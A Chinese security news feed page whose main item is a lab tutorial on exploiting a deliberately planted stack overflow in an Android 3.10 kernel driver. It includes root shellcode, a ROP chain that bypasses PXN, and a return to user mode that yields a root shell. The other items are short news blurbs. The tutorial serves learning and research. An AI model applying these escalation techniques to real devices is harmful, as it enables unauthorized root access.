News stories from Saturday 16 February, 2019

Favicon for 游侠安全网 10:46 【安全帮】盗版者滥用苹果企业证书,传播破解版iPhone应用  » Post from 游侠安全网 Visit off-site link
500px千万用户信息泄露 著名摄影网站 500px 发布公告,它在去年 7 月遭到黑客攻击,大约 1480 万用户的信息泄露,而它直到上周才获悉此事。500px 称 2 月 8 日,工程团队了解了一个潜在安全问题,随后它立即发起全面调查以查清问题的性质和范围,它还 ...

News stories from Friday 15 February, 2019

Favicon for 游侠安全网 11:41 浙江省纪委书记任振鹤带队实地调研杭州美创科技 » Post from 游侠安全网 Visit off-site link
2月12日下午,浙江省委常委、省纪委书记、省监委主任任振鹤来杭州美创科技参观调研。 任书记带队,人民银行杭州中心支行、浙江省银保监局、浙江省证监局、浙江省地方金融监管局、工商银行等领导参加,就金融机构支持民营经济健康发展、服务小微企业情况进行实地调研。 
Favicon for 知道创宇 10:09 从 0 开始学 Linux 内核之 android 内核栈溢出 ROP 利用 » Post from 知道创宇 Visit off-site link

作者:Hcamael@知道创宇404实验室

最近在研究一个最简单的android内核的栈溢出利用方法,网上的资料很少,就算有也是旧版内核的,新版的内核有了很大的不同,如果放在x86上本应该是很简单的东西,但是arm指令集有很大的不同,所以踩了很多坑

把上一篇改了一下名字,换成了从0开始学Linux内核,毕竟不是专业搞开发的,所以驱动开发没必要学那么深,只要会用,能看懂代码基本就够用了。本篇开始学Linux kernel pwn了,而内核能搞的也就是提权,而提权比较多人搞的就是x86和arm指令集的Linux系统提权了,arm指令集的基本都是安卓root和iOS越狱,而mips指令集的几乎没啥人在搞,感觉是应用场景少。

环境准备

android内核编译

下载相关源码依赖

android内核源码使用的是goldfish[1],直接clone下来,又大又慢又久,在git目录下编译也麻烦,所以想搞那个版本的直接下那个分支的压缩包就好了

本文使用的工具的下载地址:

PS:git clone速度慢的话可以使用国内镜像加速:s/android.googlesource.com/aosp.tuna.tsinghua.edu.cn/

<span class="token comment"># 下载源码
</span>$ wget https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>android<span class="token punctuation">.</span>googlesource<span class="token punctuation">.</span>com<span class="token operator">/</span>kernel<span class="token operator">/</span>goldfish<span class="token operator">/</span><span class="token operator">+</span>archive<span class="token operator">/</span>android<span class="token operator">-</span>goldfish<span class="token number">-3.10</span><span class="token punctuation">.</span>tar<span class="token punctuation">.</span>gz
$ tar zxf goldfish<span class="token operator">-</span>android<span class="token operator">-</span>goldfish<span class="token number">-3.10</span><span class="token punctuation">.</span>tar<span class="token punctuation">.</span>gz
<span class="token comment"># 下载编译工具
</span>$ git clone https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>android<span class="token punctuation">.</span>googlesource<span class="token punctuation">.</span>com<span class="token operator">/</span>platform<span class="token operator">/</span>prebuilts<span class="token operator">/</span>gcc<span class="token operator">/</span>linux<span class="token operator">-</span>x86<span class="token operator">/</span>arm<span class="token operator">/</span>arm<span class="token operator">-</span>linux<span class="token operator">-</span>androideabi<span class="token number">-4.6</span>
<span class="token comment"># 下载一键编译脚本
</span>$ git clone https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>android<span class="token punctuation">.</span>googlesource<span class="token punctuation">.</span>com<span class="token operator">/</span>platform<span class="token operator">/</span>prebuilts<span class="token operator">/</span>qemu<span class="token operator">-</span>kernel<span class="token operator">/</span>
<span class="token comment"># 只需要kernel-toolchain和build-kernel.sh
</span>$ cp qemu<span class="token operator">-</span>kernel<span class="token operator">/</span>build<span class="token operator">-</span>kernel<span class="token punctuation">.</span>sh goldfish<span class="token operator">/</span>
$ cp <span class="token operator">-</span>r qemu<span class="token operator">-</span>kernel<span class="token operator">/</span>kernel<span class="token operator">-</span>toolchain<span class="token operator">/</span> goldfish<span class="token operator">/</span>

修改内核

学android kernel pwn最初看的是Github上的一个项目[3],不过依赖的是旧内核,估计是android 3.4以下的内核,在3.10以上的有各种问题,所以我自己做了些修改,也开了一个Github源:https://github.com/Hcamael/android_kernel_pwn

对kernel源码有两点需要修改:

1.添加调试符号

首先需要知道自己要编译那个版本的,我编译的是32位Android内核,使用的是goldfish_armv7,配置文件在: arch/arm/configs/goldfish_armv7_defconfig

但是不知道为啥3.10里没有该配置文件,不过用ranchu也一样:

给内核添加调试符号,只需要在上面的这个配置文件中添加:CONFIG_DEBUG_INFO=y,如果是goldfish就需要自己添加,ranchu默认配置已经有了,所以不需要更改。

2.添加包含漏洞的驱动

目的是研究Android提权利用方法,所以是自己添加一个包含栈溢出的驱动,该步骤就是学习如何添加自己写的驱动

上面给了一个我的Github项目,把该项目中的vulnerabilities/目录复制到内核源码的驱动目录中:

$ cp vulnerabilities<span class="token operator">/</span> goldfish<span class="token operator">/</span>drivers<span class="token operator">/</span>

修改Makefile:

$ <span class="token keyword">echo</span> <span class="token string">"obj-y += vulnerabilities/"</span> <span class="token operator">&gt;</span><span class="token operator">&gt;</span> drivers<span class="token operator">/</span>Makefile

导入环境变量后,使用一键编译脚本进行编译:

$ export PATH<span class="token operator">=</span><span class="token operator">/</span>root<span class="token operator">/</span>arm<span class="token operator">-</span>linux<span class="token operator">-</span>androideabi<span class="token number">-4.6</span><span class="token operator">/</span>bin<span class="token operator">/</span><span class="token punctuation">:</span><span class="token property">$PATH</span>
$ <span class="token punctuation">.</span><span class="token operator">/</span>build<span class="token operator">-</span>kernel<span class="token punctuation">.</span>sh <span class="token operator">--</span>config<span class="token operator">=</span><span class="token string">"ranchu"</span>

PS: 在docker中复现环境的时候遇到一个问题,可以参考:https://stackoverflow.com/questions/42895145/cross-compile-the-kernel

编译好后的内核在/tmp/qemu-kernel目录下,有两个文件,一个zImage,内核启动镜像,一个vmlinux是kernel的binary文件,丢ida里面分析内核,或者给gdb提供符号信息

Android模拟环境准备

内核编译好后,就是搞Android环境了,可以直接使用Android Studio[2]一把梭,但是如果不搞开发的话,感觉Studio太臃肿了,下载也要下半天,不过还好,官方提供了命令行工具,觉得Studio太大的可以只下这个

PS: 记得装java,最新版的java 11不能用,我用的是java 8

建一个目录,然后把下载的tools放到这个目录中

$ mkdir android_sdk
$ mv tools android_sdk<span class="token operator">/</span>

首先需要使用tools/bin/sdkmanager装一些工具

<span class="token comment"># 用来编译android binary(exp)的,如果直接用arm-liunx-gcc交叉编译工具会缺一些依赖,解决依赖太麻烦了,还是用ndk一把梭方便
</span>$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"ndk-bundle"</span>
<span class="token comment"># android模拟器
</span>$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"emulator"</span>
<span class="token comment"># avd
</span>$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"platforms;android-19"</span>
$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"system-images;android-19;google_apis;armeabi-v7a"</span>
<span class="token comment"># 其他
</span>$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"platform-tools"</span>

PS:因为是32位的,所以选择的是armeabi-v7a

PSS: 我一共测试过19, 24, 25,发现在24,25中,自己写的包含漏洞的驱动只有特权用户能访问,没去仔细研究为啥,就先使用低版本的android-19了

创建安卓虚拟设备:

<span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>avdmanager create avd <span class="token operator">-</span>k <span class="token string">"system-images;android-19;google_apis;armeabi-v7a"</span> <span class="token operator">-</span>d <span class="token number">5</span> <span class="token operator">-</span>n <span class="token string">"kernel_test"</span>

启动:

$ export kernel_path<span class="token operator">=</span>ranchu_3<span class="token punctuation">.</span>10_zImage
或者
$ export kernel_path<span class="token operator">=</span>goldfish_3<span class="token punctuation">.</span>10_zImage
$ <span class="token punctuation">.</span><span class="token operator">/</span>emulator  <span class="token operator">-</span>show<span class="token operator">-</span>kernel <span class="token operator">-</span>kernel <span class="token property">$kernel_path</span> <span class="token operator">-</span>avd kernel_test <span class="token operator">-</span>no<span class="token operator">-</span>audio <span class="token operator">-</span>no<span class="token operator">-</span>boot<span class="token operator">-</span>anim <span class="token operator">-</span>no<span class="token operator">-</span>window <span class="token operator">-</span>no<span class="token operator">-</span>snapshot <span class="token operator">-</span>qemu  <span class="token operator">-</span>s

去测试下我写的exp:

$ cd <span class="token operator">~</span><span class="token operator">/</span>goldfish<span class="token operator">/</span>drivers<span class="token operator">/</span>vulnerabilities<span class="token operator">/</span>stack_buffer_overflow<span class="token operator">/</span>solution
$ <span class="token punctuation">.</span><span class="token operator">/</span>build_and_run<span class="token punctuation">.</span>sh

编译好了之后运行,记得要用普通用户运行:

<a class="token email-link" href="mailto:shell@generic">shell@generic</a><span class="token punctuation">:</span><span class="token operator">/</span> $ id
id
uid<span class="token operator">=</span><span class="token function">2000<span class="token punctuation">(</span></span>shell<span class="token punctuation">)</span> gid<span class="token operator">=</span><span class="token function">1007<span class="token punctuation">(</span></span>log<span class="token punctuation">)</span> context<span class="token operator">=</span>u<span class="token punctuation">:</span>r<span class="token punctuation">:</span>init_shell<span class="token punctuation">:</span>s0
<a class="token email-link" href="mailto:shell@generic">shell@generic</a><span class="token punctuation">:</span><span class="token operator">/</span> $ <span class="token operator">/</span>data<span class="token operator">/</span>local<span class="token operator">/</span>tmp<span class="token operator">/</span>stack_buffer_overflow_exploit
<span class="token operator">/</span>data<span class="token operator">/</span>local<span class="token operator">/</span>tmp<span class="token operator">/</span>stack_buffer_overflow_exploit
start
<a class="token email-link" href="mailto:shell@generic">shell@generic</a><span class="token punctuation">:</span><span class="token operator">/</span> <span class="token comment"># id
</span>id
uid<span class="token operator">=</span><span class="token function">0<span class="token punctuation">(</span></span>root<span class="token punctuation">)</span> gid<span class="token operator">=</span><span class="token function">0<span class="token punctuation">(</span></span>root<span class="token punctuation">)</span> context<span class="token operator">=</span>u<span class="token punctuation">:</span>r<span class="token punctuation">:</span>kernel<span class="token punctuation">:</span>s0

Android 内核提权研究

环境能跑通以后,就来说说我的exp是怎么写出来的。

首先说一下,我的环境都是来源于AndroidKernelExploitationPlayground项目[3],但是实际测试的发现,该项目中依赖的估计是3.4的内核,但是现在的emulator要求内核版本大于等于3.10

从内核3.4到3.10有许多变化,首先,对内核的一些函数做了删减修改,所以需要改改驱动的代码,其次就是3.4的内核没有开PXN保护,在内核态可以跳转到用户态的内存空间去执行代码,所以该项目中给的exp是使用shellcode,但是在3.10内核中却开启了PXN保护,无法执行用户态内存中的shellcode

提权思路

搞内核Pwn基本都是一个目的——提权。那么在Linux在怎么把权限从普通用户变成特权用户呢?

一般提权的shellcode长这样:

asm
(
"    .text\n"
"    .align 2\n"
"    .code 32\n"
"    .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -&gt; get root
"LDR     R3, =0xc0039d34\n\t"   //prepare_kernel_cred addr
"MOV     R0, #0\n\t"
"BLX     R3\n\t"
"LDR     R3, =0xc0039834\n\t"   //commit_creds addr
"BLX     R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR    CPSR_c,R3\n\t"
"LDR     R3, =0x879c\n\t"     // payload function addr
"BLX     R3\n\t"
);

这个shellcode提权的思路有三步:

  1. prepare_kernel_cred(0) 创建一个特权用户cred
  2. commit_creds(prepare_kernel_cred(0)); 把当前用户cred设置为该特权cred
  3. MSR CPSR_c,R3 从内核态切换回用户态(详情自己百度这句指令和CPSR寄存器)

切换回用户态后,当前程序的权限已经变为root,这时候就可以执行/bin/sh

再继续深入研究,就涉及到内核的三个结构体:

$ cat <span class="token punctuation">.</span><span class="token operator">/</span>arch<span class="token operator">/</span>arm<span class="token operator">/</span>include<span class="token operator">/</span><span class="token keyword">asm</span><span class="token operator">/</span>thread_info<span class="token punctuation">.</span>h
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token keyword">struct</span> thread_info <span class="token punctuation">{</span>
        <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
        <span class="token keyword">struct</span> task_struct      <span class="token operator">*</span>task<span class="token punctuation">;</span>          <span class="token comment">/* main task structure */</span>
       <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token punctuation">}</span><span class="token punctuation">;</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
$ cat <span class="token punctuation">.</span><span class="token operator">/</span>include<span class="token operator">/</span>linux<span class="token operator">/</span>sched<span class="token punctuation">.</span>h
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token keyword">struct</span> task_struct <span class="token punctuation">{</span>
        <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
        <span class="token keyword">const</span> <span class="token keyword">struct</span> cred __rcu <span class="token operator">*</span>real_cred<span class="token punctuation">;</span>
        <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token punctuation">}</span><span class="token punctuation">;</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
$ cat <span class="token punctuation">.</span><span class="token operator">/</span>include<span class="token operator">/</span>linux<span class="token operator">/</span>cred<span class="token punctuation">.</span>h
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token keyword">struct</span> cred <span class="token punctuation">{</span>
        atomic_t        usage<span class="token punctuation">;</span>
<span class="token property">#ifdef CONFIG_DEBUG_CREDENTIALS</span>
        atomic_t        subscribers<span class="token punctuation">;</span>    <span class="token comment">/* number of processes subscribed */</span>
        <span class="token keyword">void</span>            <span class="token operator">*</span>put_addr<span class="token punctuation">;</span>
        <span class="token keyword">unsigned</span>        magic<span class="token punctuation">;</span>
<span class="token property">#define CRED_MAGIC      0x43736564</span>
<span class="token property">#define CRED_MAGIC_DEAD 0x44656144</span>
#endif
        kuid_t          uid<span class="token punctuation">;</span>            <span class="token comment">/* real UID of the task */</span>
        kgid_t          gid<span class="token punctuation">;</span>            <span class="token comment">/* real GID of the task */</span>
        kuid_t          suid<span class="token punctuation">;</span>           <span class="token comment">/* saved UID of the task */</span>
        kgid_t          sgid<span class="token punctuation">;</span>           <span class="token comment">/* saved GID of the task */</span>
        kuid_t          euid<span class="token punctuation">;</span>           <span class="token comment">/* effective UID of the task */</span>
        kgid_t          egid<span class="token punctuation">;</span>           <span class="token comment">/* effective GID of the task */</span>
        kuid_t          fsuid<span class="token punctuation">;</span>          <span class="token comment">/* UID for VFS ops */</span>
        kgid_t          fsgid<span class="token punctuation">;</span>          <span class="token comment">/* GID for VFS ops */</span>
        <span class="token keyword">unsigned</span>        securebits<span class="token punctuation">;</span>     <span class="token comment">/* SUID-less security management */</span>
        kernel_cap_t    cap_inheritable<span class="token punctuation">;</span> <span class="token comment">/* caps our children can inherit */</span>
        kernel_cap_t    cap_permitted<span class="token punctuation">;</span>  <span class="token comment">/* caps we're permitted */</span>
        kernel_cap_t    cap_effective<span class="token punctuation">;</span>  <span class="token comment">/* caps we can actually use */</span>
        kernel_cap_t    cap_bset<span class="token punctuation">;</span>       <span class="token comment">/* capability bounding set */</span>
        kernel_cap_t    cap_ambient<span class="token punctuation">;</span>    <span class="token comment">/* Ambient capability set */</span>
<span class="token property">#ifdef CONFIG_KEYS</span>
        <span class="token keyword">unsigned</span> <span class="token keyword">char</span>   jit_keyring<span class="token punctuation">;</span>    <span class="token comment">/* default keyring to attach requested
                                         * keys to */</span>
        <span class="token keyword">struct</span> key __rcu <span class="token operator">*</span>session_keyring<span class="token punctuation">;</span> <span class="token comment">/* keyring inherited over fork */</span>
        <span class="token keyword">struct</span> key      <span class="token operator">*</span>process_keyring<span class="token punctuation">;</span> <span class="token comment">/* keyring private to this process */</span>
        <span class="token keyword">struct</span> key      <span class="token operator">*</span>thread_keyring<span class="token punctuation">;</span> <span class="token comment">/* keyring private to this thread */</span>
        <span class="token keyword">struct</span> key      <span class="token operator">*</span>request_key_auth<span class="token punctuation">;</span> <span class="token comment">/* assumed request_key authority */</span>
#endif
<span class="token property">#ifdef CONFIG_SECURITY</span>
        <span class="token keyword">void</span>            <span class="token operator">*</span>security<span class="token punctuation">;</span>      <span class="token comment">/* subjective LSM security */</span>
#endif
        <span class="token keyword">struct</span> user_struct <span class="token operator">*</span>user<span class="token punctuation">;</span>       <span class="token comment">/* real user ID subscription */</span>
        <span class="token keyword">struct</span> user_namespace <span class="token operator">*</span>user_ns<span class="token punctuation">;</span> <span class="token comment">/* user_ns the caps and keyrings are relative to. */</span>
        <span class="token keyword">struct</span> group_info <span class="token operator">*</span>group_info<span class="token punctuation">;</span>  <span class="token comment">/* supplementary groups for euid/fsgid */</span>
        <span class="token keyword">struct</span> rcu_head rcu<span class="token punctuation">;</span>            <span class="token comment">/* RCU deletion hook */</span>
<span class="token punctuation">}</span><span class="token punctuation">;</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>

每个进程都有一个单独thread_info结构体,我们来看看内核是怎么获取到每个进程的thread_info结构体的信息的:

<span class="token property">#define THREAD_SIZE             8192</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token keyword">static</span> <span class="token keyword">inline</span> <span class="token keyword">struct</span> thread_info <span class="token operator">*</span><span class="token function">current_thread_info<span class="token punctuation">(</span></span><span class="token keyword">void</span><span class="token punctuation">)</span>
<span class="token punctuation">{</span>
        <span class="token keyword">register</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> sp <span class="token keyword">asm</span> <span class="token punctuation">(</span><span class="token string">"sp"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> thread_info <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span>sp <span class="token operator">&amp;</span> <span class="token operator">~</span><span class="token punctuation">(</span>THREAD_SIZE <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

有点内核基础知识的应该知道,内核的栈是有大小限制的,在arm32中栈的大小是0x2000,而thread_info的信息储存在栈的最底部

所以,如果我们能获取到当前进程在内核中运行时的其中一个栈地址,我们就能找到thread_info,从而顺藤摸瓜得到cred的地址,如果能任意写内核,则可以修改cred的信息,从而提权

总得来说,内核提权其实只有一条路可走,就是修改cred信息,而commit_creds(prepare_kernel_cred(0));不过是内核提供的修改cred的函数罢了。

我们来通过gdb展示下cred数据:

$ <a class="token email-link" href="mailto:shell@generic">shell@generic</a><span class="token punctuation">:</span><span class="token operator">/</span> $ id
id
uid<span class="token operator">=</span><span class="token function">2000<span class="token punctuation">(</span></span>shell<span class="token punctuation">)</span> gid<span class="token operator">=</span><span class="token function">1007<span class="token punctuation">(</span></span>log<span class="token punctuation">)</span> context<span class="token operator">=</span>u<span class="token punctuation">:</span>r<span class="token punctuation">:</span>init_shell<span class="token punctuation">:</span>s0
<span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span>

通过gdb可以获取到:$sp : 0xd415bf40

从而计算出栈底地址:0xd415a000

然后我们就能获取到thread_info的信息,然后得到task_struct的地址:0xd4d16680

接着我们查看task_struct的信息,得到了cred的地址:0xd4167780

gef<span class="token operator">&gt;</span> p <span class="token operator">*</span><span class="token punctuation">(</span>struct task_struct <span class="token operator">*</span><span class="token punctuation">)</span><span class="token number">0xd4d16680</span>
<span class="token property">$2</span> <span class="token operator">=</span> <span class="token punctuation">{</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
        real_cred <span class="token operator">=</span> <span class="token number">0xd4167780</span><span class="token punctuation">,</span> 
        cred <span class="token operator">=</span> <span class="token number">0xd4167780</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token comment"># 数据太长了,就不截图了</span>

然后查看cred的信息:

把uid和gid的十六进制转换成十进制,发现就是当前进程的权限

使用ROP绕过PXN来进行android提权

既然我们已经知道了怎么修改权限,那么接下来就研究一下如何利用漏洞来提权,因为是研究利用方式,所以自己造了一个最基础的栈溢出

<span class="token keyword">int</span> <span class="token function">proc_entry_write<span class="token punctuation">(</span></span><span class="token keyword">struct</span> file <span class="token operator">*</span>file<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> __user <span class="token operator">*</span>ubuf<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> count<span class="token punctuation">,</span> <span class="token keyword">void</span> <span class="token operator">*</span>data<span class="token punctuation">)</span>
<span class="token punctuation">{</span>
    <span class="token keyword">char</span> buf<span class="token punctuation">[</span>MAX_LENGTH<span class="token punctuation">]</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">copy_from_user<span class="token punctuation">(</span></span><span class="token operator">&amp;</span>buf<span class="token punctuation">,</span> ubuf<span class="token punctuation">,</span> count<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token function">printk<span class="token punctuation">(</span></span>KERN_INFO <span class="token string">"stackBufferProcEntry: error copying data from userspace\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> <span class="token operator">-</span>EFAULT<span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
    <span class="token keyword">return</span> count<span class="token punctuation">;</span>
<span class="token punctuation">}</span>

因为开了PXN,所以没办法使用shellcode,然后我第一个想到的思路就是使用ROP来执行shellcode的操作

这里说一下,不要使用ROPgadget,用这个跑内核的ELF,要跑贼久,推荐使用ROPPER[4]

$ ropper <span class="token operator">-</span>f <span class="token operator">/</span>mnt<span class="token operator">/</span>hgfs<span class="token operator">/</span>tmp<span class="token operator">/</span>android_kernel<span class="token operator">/</span>ranchu_3<span class="token punctuation">.</span>10_vmlinux <span class="token operator">--</span>nocolor <span class="token operator">&gt;</span> ranchu_ropper_gadget

然后就是找commit_credsprepare_kernel_cred这两个函数的地址,在没有开启kalsr的内核中,我们可以直接把vmlinux丢到ida里面,找这两个函数的地址

到这里,我们可以构造出如下的rop链:

*pc++ = 0x41424344;      // r4
*pc++ = 0xC00B8D68;      // ; mov r0, #0; pop {r4, pc}
*pc++ = 0x41424344;      // r4
*pc++ = 0xC00430F4;      // ; prepare_kernel_cred(0) -&gt; pop {r3-r5, pc}
*pc++ = 0x41424344;      // r3
*pc++ = 0x41424344;      // r4
*pc++ = 0x41424344;      // r5
*pc++ = 0xC0042BFC;      // ; commit_creds -&gt; pop {r4-r6, pc}
*pc++ = 0x41424344;      // r4
*pc++ = 0x41424344;      // r5
*pc++ = 0x41424344;      // r6

在成功修改当前进程的权限之后,我们需要把当前进程从内核态切换回用户态,然后在用户态执行/bin/sh,就能提权成功了

但是这里遇到一个问题,在shellcode中,使用的是:

"mov r3, #0x40000010\n\t"
"MSR    CPSR_c,R3\n\t"
"LDR     R3, =0x879c\n\t"     // payload function addr
"BLX     R3\n\t"

我也很容易能找到gadget: msr cpsr_c, r4; pop {r4, pc};

但是却没法成功切换回用户态,网上相关的资料几乎没有,我也找不到问题的原因,在执行完msr cpsr_c, r4指令以后,栈信息会发现变化,导致没法控制pc的跳转

不过后来,我跟踪内核的执行,发现内核本身是通过ret_fast_syscall函数来切换回用户态的:

$ cat ./arch/arm/kernel/entry-common.S
......
ret_fast_syscall:
 UNWIND(.fnstart        )
 UNWIND(.cantunwind     )
        disable_irq                             @ disable interrupts
        ldr     r1, [tsk, #TI_FLAGS]
        tst     r1, #_TIF_WORK_MASK
        bne     fast_work_pending
        asm_trace_hardirqs_on

        /* perform architecture specific actions before user return */
        arch_ret_to_user r1, lr
        ct_user_enter

        restore_user_regs fast = 1, offset = S_OFF
 UNWIND(.fnend          )
......
-----------------------------
   0xc000df80 &lt;ret_fast_syscall&gt;:   cpsid   i
   0xc000df84 &lt;ret_fast_syscall+4&gt;: ldr r1, [r9]
   0xc000df88 &lt;ret_fast_syscall+8&gt;: tst r1, #7
   0xc000df8c &lt;ret_fast_syscall+12&gt;: bne 0xc000dfb0 &lt;fast_work_pending&gt;
   0xc000df90 &lt;ret_fast_syscall+16&gt;:    ldr r1, [sp, #72]   ; 0x48
   0xc000df94 &lt;ret_fast_syscall+20&gt;:    ldr lr, [sp, #68]!  ; 0x44
   0xc000df98 &lt;ret_fast_syscall+24&gt;:    msr SPSR_fsxc, r1
   0xc000df9c &lt;ret_fast_syscall+28&gt;:    clrex
   0xc000dfa0 &lt;ret_fast_syscall+32&gt;: ldmdb  sp, {r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
   0xc000dfa4 &lt;ret_fast_syscall+36&gt;:    nop; (mov r0, r0)
   0xc000dfa8 &lt;ret_fast_syscall+40&gt;:    add sp, sp, #12
   0xc000dfac &lt;ret_fast_syscall+44&gt;:    movs    pc, lr

经过我测试发现,使用msr SPSR_fsxc, r1可以成功从内核态切换回用户态,但是该指令却只存在于该函数之前,无法找到相关的gadget,之后我想了很多利用该函数的方法,最后测试成功的方法是:

计算有漏洞的溢出函数的栈和ret_fast_syscall函数栈的距离,在使用ROP执行完commit_creds(prepare_kernel_cred(0));之后,使用合适的gadget来修改栈地址(比如: add sp, sp, #0x30; pop {r4, r5, r6, pc};),然后控制pc跳转到0xc000df90 <ret_fast_syscall+16>:,这样程序就相当于执行完了内核的syscall,然后切换回用户进程代码继续执行,在我们的用户态代码中后续执行如下函数,就能成功提权:

<span class="token keyword">void</span> <span class="token function">payload<span class="token punctuation">(</span></span><span class="token keyword">void</span><span class="token punctuation">)</span>
<span class="token punctuation">{</span>        
        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">getuid<span class="token punctuation">(</span></span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
                <span class="token function">execl<span class="token punctuation">(</span></span><span class="token string">"/system/bin/sh"</span><span class="token punctuation">,</span> <span class="token string">"sh"</span><span class="token punctuation">,</span> NULL<span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
                <span class="token function">warnx<span class="token punctuation">(</span></span><span class="token string">"failed to get root. How did we even get here?"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        <span class="token function">_exit<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

完整exp可以见我的Github。

ROP只是其中一种利用方法,后续还会研究其他利用方法和在64位android下的利用。

参考

  1. https://android.googlesource.com/kernel/goldfish/
  2. https://developer.android.com/studio/?hl=zh-cn#downloads
  3. https://github.com/Fuzion24/AndroidKernelExploitationPlayground
  4. https://github.com/sashs/Ropper

Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/808/

Favicon for 游侠安全网 08:59 【安全帮】美国网上“浪漫诈骗”激增,去年被骗者共损失1.43亿美元 » Post from 游侠安全网 Visit off-site link
美国将禁止中国设备接入 5G 网络 纽约时报报道,特朗普政府即将下达一项行政命令,禁止美国电信公司在建设下一代无线网络(5G)时使用中国设备,以避免这些设备危及美国国家安全。该行政命令将针对包括华为在内的大量外国设备。官员表示,只封锁华为,只 ...

News stories from Thursday 14 February, 2019

Favicon for 游侠安全网 17:35 小记:借助美创数据库防火墙快速实现应急响应 » Post from 游侠安全网 Visit off-site link
最近,部署在云服务器上的一台数据库防火墙有很多奇怪的日志,其中登录日志显示有很多 IP 登录失败,访问日志中有特定 IP 在执行一些不常见的 SQL 语句,下面我们简单看一下。
Favicon for 游侠安全网 09:24 【安全帮】微软产品七成漏洞是内存安全问题 » Post from 游侠安全网 Visit off-site link
小米电动滑板车有漏洞 可无需身份验证远程访问 据美国科技媒体CNET援引安全研究组织Zimperium周二发布的研究报道称,小米型号为M365的电动滑板车存在漏洞,可能会让黑客远程控制该滑板车,比如导致滑板车突然加速或突然刹车。小米的这款滑板车于去年引 ...

News stories from Wednesday 13 February, 2019

